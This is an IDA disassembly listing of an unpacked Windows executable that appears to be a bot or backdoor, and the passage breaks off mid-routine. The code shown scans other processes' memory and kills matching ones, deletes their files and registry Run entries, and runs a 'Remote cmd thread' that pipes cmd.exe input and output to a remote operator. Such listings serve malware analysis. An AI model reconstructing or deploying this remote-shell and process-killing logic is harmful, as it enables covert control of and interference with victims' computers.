; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : CC5F48E14DFA2500A5A8D2C6B4292BBD ; File Name : u:\work\cc5f48e14dfa2500a5a8d2c6b4292bbd_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call ds:dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call ds:dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call ds:dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call ds:dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: .text:0040169Dp ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call ds:dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call ds:dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; --------------------------------------------------------------------------- loc_401244: ; DATA XREF: sub_4017AA+9Do push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push dword ptr [ebp+8] lea eax, [ebp-2ACh] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx movzx eax, byte ptr [ebp-2A8h] test eax, eax jz short loc_40129D lea eax, [ebp-2A3h] push eax mov eax, [ebp-2ACh] push dword ptr [eax] push offset dword_418144 lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: .text:00401278j call sub_406041 mov [ebp-2B4h], eax cmp dword ptr [ebp-2B4h], 0 jnz short loc_4012C4 push dword ptr [ebp-2ACh] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: .text:004012AFj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp-2B8h], eax and dword ptr [ebp-2BCh], 0 and dword ptr [ebp-2B0h], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: .text:00401326j ; .text:0040136Fj ... mov eax, [ebp-2B0h] inc eax mov [ebp-2B0h], eax loc_4012F2: ; CODE XREF: .text:004012E3j mov eax, [ebp-2B4h] mov ecx, [ebp-2B0h] cmp ecx, [eax] jge loc_401710 mov esi, [ebp-2B0h] imul esi, 114h mov eax, [ebp-2B4h] mov edi, [eax+4] call ds:dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: .text:00401324j push 104h lea eax, [ebp-3CCh] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp-3CCh] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: .text:0040136Dj mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax add eax, 11h push eax call ds:dword_417094 ; OpenProcess mov [ebp-2C4h], eax cmp dword ptr [ebp-2C4h], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: .text:004013B0j and dword ptr [ebp-2C0h], 0 and dword ptr [ebp-2C8h], 0 loc_4013C5: ; CODE XREF: .text:loc_4016FAj mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp-2C0h] cmp eax, 10000h jbe short loc_4013F7 mov dword ptr [ebp-3E8h], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: .text:004013E9j mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp-2C0h] mov [ebp-3E8h], eax loc_40141C: ; CODE XREF: .text:004013F5j mov eax, [ebp-3E8h] mov [ebp-3D0h], eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-3D0h] push dword ptr [ebp-2B8h] mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp-2C0h] push eax push dword ptr [ebp-2C4h] call ds:dword_417098 ; ReadProcessMemory mov [ebp-3D4h], eax cmp dword ptr [ebp-3D4h], 0 jz loc_4016C5 cmp dword ptr [ebp-2C8h], 0 jz loc_4016C5 and dword ptr [ebp-3D8h], 0 and dword ptr [ebp-3DCh], 0 jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: .text:loc_4015DBj mov eax, [ebp-3DCh] inc eax mov [ebp-3DCh], eax loc_4014A4: ; CODE XREF: .text:00401495j mov eax, [ebp-2C8h] sub eax, [ebp-2A7h] cmp [ebp-3DCh], eax ja loc_4015E0 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-2A3h] cmp eax, ecx jz short loc_401514 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-2A3h] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-2A3h] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: .text:004014D4j ; .text:004014F1j mov dword ptr [ebp-3E0h], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: .text:loc_4015D6j mov eax, [ebp-3E0h] inc eax mov [ebp-3E0h], eax loc_40152D: ; CODE XREF: .text:0040151Ej mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] test eax, eax jnz short loc_401556 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] mov [ebp-3D8h], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: .text:0040153Dj mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] mov ecx, [ebp-3DCh] add ecx, [ebp-3E0h] mov edx, [ebp-2B8h] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] mov ecx, [ebp-3DCh] add ecx, [ebp-3E0h] mov edx, [ebp-2B8h] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] mov ecx, [ebp-3DCh] add ecx, [ebp-3E0h] mov edx, [ebp-2B8h] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: .text:0040157Cj ; .text:004015A7j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: .text:0040150Ej ; .text:004015D4j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: .text:004014B6j ; .text:loc_40179Fj cmp dword ptr [ebp-3D8h], 0 jz loc_4016C5 mov eax, [ebp-2BCh] inc eax mov [ebp-2BCh], eax movzx eax, byte ptr [ebp-2A8h] test eax, eax jz short loc_401675 push 3E8h call ds:dword_41709C ; Sleep mov al, [ebp-0Bh] mov [ebp-3E4h], al and byte ptr [ebp-0Bh], 0 mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp-2A3h] push eax push offset dword_41811C lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 14h mov al, [ebp-3E4h] mov [ebp-0Bh], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: .text:00401603j push 0 push dword ptr [ebp-2C4h] call ds:dword_4170A0 ; TerminateProcess mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: .text:00401673j mov eax, [ebp-2ACh] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push dword ptr [ebp-2C4h] call ds:dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: .text:004016ADj jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: .text:00401474j ; .text:00401481j ... mov eax, [ebp-2C0h] add eax, [ebp-3D0h] mov [ebp-2C0h], eax mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov edx, [ebp-2C0h] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: .text:004016F6j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: .text:004016F8j ; .text:loc_401795j push dword ptr [ebp-2C4h] call ds:dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: .text:00401300j ; .text:loc_40179Aj push dword ptr [ebp-2B4h] call sub_40636E pop ecx push dword ptr [ebp-2B8h] call sub_416B4C ; free pop ecx movzx eax, byte ptr [ebp-2A8h] test eax, eax jz short loc_401785 push 3E8h call ds:dword_41709C ; Sleep cmp dword ptr [ebp-2BCh], 0 jnz short loc_401764 lea eax, [ebp-2A3h] push eax push offset dword_4180F8 lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: .text:00401745j lea eax, [ebp-2A3h] push eax push dword ptr [ebp-2BCh] push offset dword_4180CC lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: .text:00401731j ; .text:00401762j push dword ptr [ebp-2ACh] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: .text:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: .text:004016BBj jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: .text:00401551j jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: .text:004012BFj ; .text:00401793j pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset loc_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: .text:00401A29p ; .text:00401A62p ... push ebp mov ebp, esp cmp dword_41DE24, 0FFFFFFFFh jz short loc_40186E push dword_41DE24 call ds:dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DE18, 0FFFFFFFFh jz short loc_401883 push dword_41DE18 call ds:dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DE1C, 0FFFFFFFFh jz short loc_401898 push dword_41DE1C call ds:dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DE20, 0FFFFFFFFh jz short loc_4018AD push dword_41DE20 call ds:dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: .text:00401C0Bp ; .text:00401D16p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call ds:dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DE2C, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; --------------------------------------------------------------------------- loc_401981: ; DATA XREF: sub_401D6E+88o push ebp mov ebp, esp sub esp, 730h push 3A7h push dword ptr [ebp+8] lea eax, [ebp-714h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DE2C, eax push 0 lea eax, [ebp-30Ch] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call ds:dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: .text:004019D8j mov dword ptr [ebp-318h], 0Ch mov dword ptr [ebp-310h], 1 and dword ptr [ebp-314h], 0 push 0 lea eax, [ebp-318h] push eax lea eax, [ebp-368h] push eax lea eax, [ebp-364h] push eax call ds:dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: .text:00401A27j push 0 lea eax, [ebp-318h] push eax lea eax, [ebp-36Ch] push eax lea eax, [ebp-728h] push eax call ds:dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: .text:00401A60j push 3 push 0 push 0 push offset dword_41DE20 call ds:dword_417074 ; GetCurrentProcess push eax push dword ptr [ebp-36Ch] call ds:dword_417074 ; GetCurrentProcess push eax call ds:dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: .text:00401AA1j push 10h push 0 lea eax, [ebp-724h] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp-360h] push eax call sub_416B6A ; memset add esp, 0Ch mov dword ptr [ebp-360h], 44h mov dword ptr [ebp-334h], 101h and word ptr [ebp-330h], 0 mov eax, [ebp-728h] mov [ebp-328h], eax mov eax, [ebp-368h] mov [ebp-324h], eax mov eax, [ebp-368h] mov [ebp-320h], eax lea eax, [ebp-724h] push eax lea eax, [ebp-360h] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE30 lea eax, [ebp-30Ch] push eax call ds:dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: .text:00401B4Fj push dword ptr [ebp-728h] call ds:dword_4170A4 ; CloseHandle mov eax, [ebp-364h] mov dword_41DE24, eax mov eax, [ebp-36Ch] mov dword_41DE18, eax mov eax, [ebp-724h] mov dword_41DE1C, eax push dword ptr [ebp-720h] call ds:dword_4170A4 ; CloseHandle and dword ptr [ebp-4], 0 and dword ptr [ebp-208h], 0 loc_401BAD: ; CODE XREF: .text:00401C6Aj ; .text:00401D1Dj mov eax, [ebp-714h] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: .text:00401BB7j and dword ptr [ebp-208h], 0 push 200h push 0 lea eax, [ebp-204h] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp-4] push eax push 200h lea eax, [ebp-204h] push eax push dword_41DE24 call ds:dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp-510h] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: .text:00401BFDj cmp dword ptr [ebp-4], 0 jnz short loc_401C6F mov dword ptr [ebp-730h], 103h lea eax, [ebp-730h] push eax push dword_41DE1C call ds:dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp dword ptr [ebp-730h], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp-510h] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: .text:00401C3Cj ; .text:00401C48j push 0Ah call ds:dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: .text:00401C1Bj and dword ptr [ebp-72Ch], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: .text:loc_401CAFj mov eax, [ebp-72Ch] inc eax mov [ebp-72Ch], eax loc_401C85: ; CODE XREF: .text:00401C76j mov eax, [ebp-72Ch] cmp eax, [ebp-4] jnb short loc_401CB1 mov eax, [ebp-72Ch] movsx eax, byte ptr [ebp+eax-204h] cmp eax, 0Ah jnz short loc_401CAF mov dword ptr [ebp-208h], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: .text:00401CA1j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: .text:00401C8Ej ; .text:00401CADj cmp dword ptr [ebp-208h], 0 jz short loc_401CC6 mov eax, [ebp-72Ch] inc eax mov [ebp-4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: .text:00401CB8j mov dword ptr [ebp-4], 200h loc_401CCD: ; CODE XREF: .text:00401CC4j push 200h push 0 lea eax, [ebp-204h] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp-31Ch] push eax push dword ptr [ebp-4] lea eax, [ebp-204h] push eax push dword_41DE24 call ds:dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: .text:00401D04j lea eax, [ebp-204h] push eax lea eax, [ebp-510h] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: .text:00401BB9j ; .text:00401C12j ... call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: .text:004019E8j ; .text:00401A3Cj ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DE20 call ds:dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call ds:dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset loc_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push 